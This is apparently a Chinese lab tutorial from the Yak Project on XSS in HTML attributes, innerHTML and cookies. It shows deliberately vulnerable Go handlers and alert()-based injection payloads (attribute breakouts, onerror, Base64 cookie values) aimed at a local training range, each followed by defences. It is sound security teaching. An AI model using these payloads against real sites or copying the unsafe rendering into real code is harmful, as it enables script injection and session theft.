跳到主要内容

靶场实战:XSS 多场景(二)

· 阅读需 12 分钟
Yak Project
网络安全垂直语言团队

前言

Preface

上一篇我们介绍了 XSS 的基础知识和简单案例Yakit靶场通关教程|XSS多场景(一) ,那么服务端如何识别特定的客户端呢?其实Cookie就是干这个的,每次HTTP请求的时候,客户端都会发送相应的Cookie信息到服务端。它是作为“密保”帮助网站辨别用户身份而储存在客户端上的数据,也就是说,只要有了某个用户的 Cookie,就能以他的身份登录。

本文将介绍Cookie 中的 XSS,此外针对 XSS 注入点 html 节点内容与属性 展开进阶讲解。

案例分享及教学

进阶1:输出存在于HTML节点属性中但是不再on属性中(IMG ALT)

这个案例是XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于HTML节点属性中,但不再on属性中的漏洞类型。

示例代码:


{
DefaultQuery: "json={\"value\":\"value=visitor-name\"}",
Path: "/attr/alt/json",
Title: "进阶1:输出存在于HTML节点属性中,但不再on属性中(IMG ALT)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>

<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": LoadFromGetJSONParam(request, "json", "value"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}

攻击示例:

攻击者可以构造以下恶意URL来利用漏洞:

http://127.0.0.1:8787/xss/attr/alt/json?json=%7B%22value%22%3A%22%27+onmouseover%3D%27alert%28123%29%22%7D

在上述攻击示例中,攻击者通过在json参数中注入%27+onmouseover%3D%27alert%28123%29,将恶意代码嵌入到ALT属性中。当用户浏览到包含这个IMG标签的页面时,鼠标悬停在图像上时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗,显示“123”。

防御措施:

要防范这种类型的漏洞,开发者需要对从用户输入获取的数据进行适当的转义和过滤,确保用户提供的内容不会被解释为HTML或JavaScript代码。这可以通过使用安全的HTML编码函数来实现。

靶场演示:视频进阶2:输出存在于HTML节点属性中但是不再on属性中(IMG ALT)

这个案例是XSS(跨站脚本攻击)的进阶形式,展示了一种输出存在于HTML节点属性中,但不再on属性中的漏洞类型。

示例代码:

{
DefaultQuery: "b64json=eyJ2YWx1ZSI6InZhbHVlPXZpc2l0b3ItbmFtZSJ9",
Path: "/attr/alt/b64/json",
Title: "进阶2:输出存在于HTML节点属性中,但是不再on属性中(IMG ALT)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br>
<img style='width: 100px' alt='{{.value}}' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": LoadFromGetJSONParam(request, "json", "value"),
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}

攻击示例:

攻击者可以构造以下恶意URL来利用漏洞:

http://127.0.0.1:8787/xss/attr/alt/b64/json?b64json=eyJ2YWx1ZSI6Iidvbm1vdXNlb3Zlcj0nYWxlcnQoMTIzKSJ9

攻击者通过在b64json参数中注入Base64编码的恶意代码,将恶意代码嵌入到ALT属性中。当用户浏览到包含这个IMG标签的页面时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗,显示"alert(123)"。

防御措施:

要防止这种类型的漏洞,开发者需要对用户输入的数据进行适当的过滤和转义,确保用户提供的内容不会被解释为HTML或JavaScript代码。在这种情况下,开发者可以使用安全的HTML编码函数,以及对Base64解码后再进行处理,从而有效地防止XSS攻击。

靶场演示:视频输出存在于HTML节点属性中但是不再on属性中(IMG SRC)

输出存在于 HTML 节点属性中,特别是在 <img> 标签的 src 属性中,是一种常见的 XSS 漏洞。攻击者可以通过在这些属性中注入恶意代码,从而在用户浏览网页时执行恶意脚本。

示例代码:

下列代码会导致恶意代码在用户浏览器中执行,因为 src 属性被注入了可执行的 JavaScript 代码。

<div>
Hello Visitor!<br>
Here are photo for U! <br> <br>
<img style='width: 100px' alt='value' src="{{ .value }}" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>

攻击示例:

当浏览器尝试加载 src 属性的内容时,由于发生了错误,就会触发 onerror 事件,从而弹出一个警示框,显示 "Hello Yakit"。

<!--构造xss-->
?src=" onerror="alert('Hello Yakit')

<!--修改后的标签-->
<img style='width: 100px' alt='value' src="" onerror="alert('Hello Yakit')" ...../>

这种情况下,攻击者成功地在用户浏览器中执行了恶意代码,实现了 XSS 攻击。

防御措施:

  • 转义输出:在将用户输入嵌入到 HTML 属性中之前,务必进行适当的字符转义。这可以防止恶意代码在属性中执行。
  • 限制属性值:尽量限制属性值的内容,只允许特定类型的内容,例如只允许 URL。

靶场演示:视频输出存在于HTML节点属性中但是不再on属性中(HREF)

这个案例展示了一种输出存在于 HTML 节点属性中,位于herf 属性中的 XSS(跨站脚本攻击)漏洞类型

示例代码:

{
DefaultQuery: "href=/static/logo.png",
Path: "/attr/href",
Title: "输出存在于HTML节点属性中,但是不再on属性中(HREF)",
Handler: func(writer http.ResponseWriter, request *http.Request) {
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Hello Visitor!
<br>
Here are photo for U! <br> <br>
<a href='{{ .value }}' target='_blank'>Click ME to load IMG LOGO!</a>
<img style='width: 100px' alt='value' src="/static/logo.png" onclick='javascript:alert("Welcome CLICK ME!")'/>
</div>
</body>
</html>`, map[string]any{
"value": request.URL.Query().Get("href"),
})
writer.Header().Set("Content-Type", "text/html")

},
RiskDetected: true,
}

攻击示例:

http://127.0.0.1:8787/xss/attr/href?href=%27onmousemove=%27alert(123)

在上述攻击示例中,攻击者通过在href参数中注入恶意代码,将恶意代码嵌入到HREF属性中。当用户点击链接时,浏览器会执行嵌入的JavaScript代码,弹出一个弹窗,显示"alert(123)"。

防御措施:

要防止这种类型的漏洞,开发者需要对用户输入的数据进行适当的过滤和转义,确保用户提供的内容不会被解释为HTML或JavaScript代码。开发者可以使用安全的HTML编码函数,以及对用户输入数据进行严格的验证,从而有效地防止XSS攻击。

靶场演示:视频script标签的某些属性中

早期的前端开发人员在写代码时通常会用到 innerHTML() 方法,innerHTML会把字符串转成 HTML 代码片段渲染到页面上,实际上这个方法是存在很大漏洞。

示例代码:


<div>Hello <p id='name'></p>
<br>Here are photo for U! <br>
<script>document.getElementById('name').innerHTML = 'OrdinaryVisitor'</script>
</div>

攻击示例:

<script>alert(123)</script>

结果竟然发现没有弹窗?

HTML 5 中指定不执行由 innerHTML 插入的<script>标签。然而,有很多不依赖<script>标签去执行 JavaScript 的方式,这仍是一个安全问题。

可以利用img中的onerror来达到触发的效果

<img src=x onerror="alert(/xss/)">

因此,不要过度使用innerHTML方法,在使用前应考虑一下会不会对程序造成危害。如果一个用户输入的内容直接由innerHTML操办,那很可能是危险的。使用innerHTMLouterHTML时要注意,标签需不进行编码处理,可能会导致XSS。

防御措施:

  • 不要直接使用innerHTML来插入HTML内容,可以使用createElement和appendChild等方法来创建和添加元素,或者使用innerText或textContent等属性来设置文本内容。

靶场演示:视频Cookie 中的 XSS

这个案例展示了一种称为 "Cookie 中的 XSS" 的漏洞类型。攻击者可以通过在 Cookie 中注入恶意代码,从而在用户的浏览器上下文中执行攻击。

示例代码:

该漏洞的出现是因为应用程序在设置 Cookie 时没有对用户输入进行正确的过滤和验证,导致恶意用户可以注入恶意代码到 Cookie 中。

{
DefaultQuery: "",
Path: "/cookie/name",
Title: "Cookie 中的 XSS",
Handler: func(writer http.ResponseWriter, request *http.Request) {
raw, _ := utils.HttpDumpWithBody(request, true)
xCname := lowhttp.GetHTTPPacketCookieFirst(raw, "xCname")
if xCname == "" && lowhttp.GetHTTPRequestQueryParam(raw, "skip") != "1" {
http.SetCookie(writer, &http.Cookie{
Name: "xCname",
Value: "UserAdmin",
})
writer.Header().Set("Location", "/xss/cookie/name?skip=1")
writer.WriteHeader(302)
return
}
unsafeTemplateRender(writer, request, `<!doctype html>
<html>
<head>
<title>Example DEMO</title>
<!-- ... 省略其他标签 ... -->
</head>
<body>
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='{{ .code }}'/>
<script>const name = "Admin";
console.info("Hello" + `+"`{{ .name }}: ${name}`"+`);
</script>
</div>
</body>
</html>`, map[string]any{
"name": xCname,
})
writer.Header().Set("Content-Type", "text/html")
},
RiskDetected: true,
}

攻击示例:

通过在Cookie中构造特定的参数,攻击者可以注入恶意脚本代码,从而实现XSS攻击。

Cookie: xCname=`%2balert('XSS Attack!')%2b`

在上述攻击示例中,攻击者将 xCname Cookie 值设置为 %2balert('XSS Attack!')%2b,这是一个经过 URL 编码的恶意代码。当用户访问带有恶意 Cookie 的页面时,恶意代码会在用户的浏览器上下文中执行,弹出一个弹窗,显示**"XSS Attack!"**。

#修改后标签(Cookie)
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='<no value>'/>
<script>const name = "Admin";
console.info("Hello" + ``+alert('XSS Attack!')+`: ${name}`);</script>
</div>

防御措施:

开发者应当在设置 Cookie 时对用户输入进行适当的过滤和验证,以防止恶意代码的注入和执行。

靶场演示:视频Cookie 中的 XSS(Base64)

该示例从cookis中读取数据并经过base64解码,将数据插入模版中从而渲染到前端

示例代码:

<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='OrdinaryUser'/>
<script>const name = "Admin";
console.info("Hello" + `OrdinaryUser: ${name}`);</script>
</div>

攻击示例:

通过在Cookie中构造特定的参数,攻击者可以注入恶意脚本代码

Cookie: xCnameB64=YWxlcnQoInhzcyIp
#修改cookie后
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='alert("xss")'/>
<script>const name = "Admin";
console.info("Hello" + `alert("xss"): ${name}`);</script>
</div>

防御措施:

  • 输入验证和过滤:在将数据存储到Cookie中之前,对用户输入进行严格验证和过滤。仅允许预期的输入内容,并且对输入内容进行适当的编码,以防止注入恶意数据。
  • 限制Cookie的范围:将Cookie的作用范围限制在必要的路径或域名下,避免将敏感信息暴露在不必要的地方。
  • 解析和验证Cookie数据:在使用Cookie数据之前,先解析和验证其内容。确保数据的格式正确且没有被篡改。

靶场演示:视频Cookie 中的 XSS(Base64-JSON)

通过未经处理的 Cookie 值中的 Base64 编码的 JSON 数据来触发的 XSS 漏洞,首先从 Cookie 中获取 "xCnameB64J" 的值,并尝试对其进行 Base64 解码,并将解码后的 JSON 数据反序列化。作为待渲染到页面的名称。

示例代码:

#原标签
<div>Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='xCnameB64J-OrdinaryUser'/>
<script>const name = "Admin";
console.info("Hello" + `xCnameB64J-OrdinaryUser: ${name}`);</script>
</div>

攻击示例:

通过在cookie中提交xss代码,实现攻击。

#构造xss(修改Cookie)
eyJuYW1lIjoiYWxlcnQoMTIzKSJ9

#修改后标签(Cookie)
<div>
Here are photo for U! <br>
<img style='width: 100px' src="/static/logo.png" onclick='alert(123)'/>
<script>const name = "Admin";
console.info("Hello" + `alert(123): ${name}`);</script>
</div>

防御措施:

针对Cookie中的XSS攻击(Base64-JSON),以下是一些防御措施,可以帮助减少这种类型的攻击风险:

  • 输入验证和过滤:在将数据存储到Cookie中之前,对用户输入进行严格验证和过滤。仅允许预期的输入内容,并且对输入内容进行适当的编码,以防止注入恶意数据。
  • 限制Cookie的范围:将Cookie的作用范围限制在必要的路径或域名下,避免将敏感信息暴露在不必要的地方。
  • 解析和验证Cookie数据:在使用Cookie数据之前,先解析和验证其内容。确保数据的格式正确且没有被篡改。

靶场演示:视频结尾

XSS漏洞带来的危害包括但不限于:窃取用户Cookie、后台增删改文章、获取用户信息、XSS钓鱼攻击。防范其的方法其实很多,但是无论方法有多少,始终是万变不离其宗。这里总结为两大要素

  1. 攻击者提交恶意代码。

  2. 浏览器执行恶意代码。同时大家也需要知道防范XSS不止是服务端的任务,也需要后端和前端共同参与。

XSS是由于服务器端对用户提供的可控数据过于信任或者过滤不严导致的。SSRF同理,但SSRF安全漏洞是服务器对用户提供的可控URL过于信任,没有对攻击者提供的RUL进行地址限制和足够的检测,导致攻击者可以以此为跳板攻击内网或其他服务器,与XSS有所不同,在下一篇靶场教学中,将介绍SSRF 参数多种情况的测试。

后续将继续分享相关技术内容。

Loading...SSRF JSON Body SSRFSSRF GET 中 URL 参数SSRF POST 中 URL 参数SSRF POST 中 URL 参数 (DNS Rebinding)SSRF POST 中 URL 参数(Multipart)

完全开放重定向


本文首发于 Yak Project 公众号,阅读原文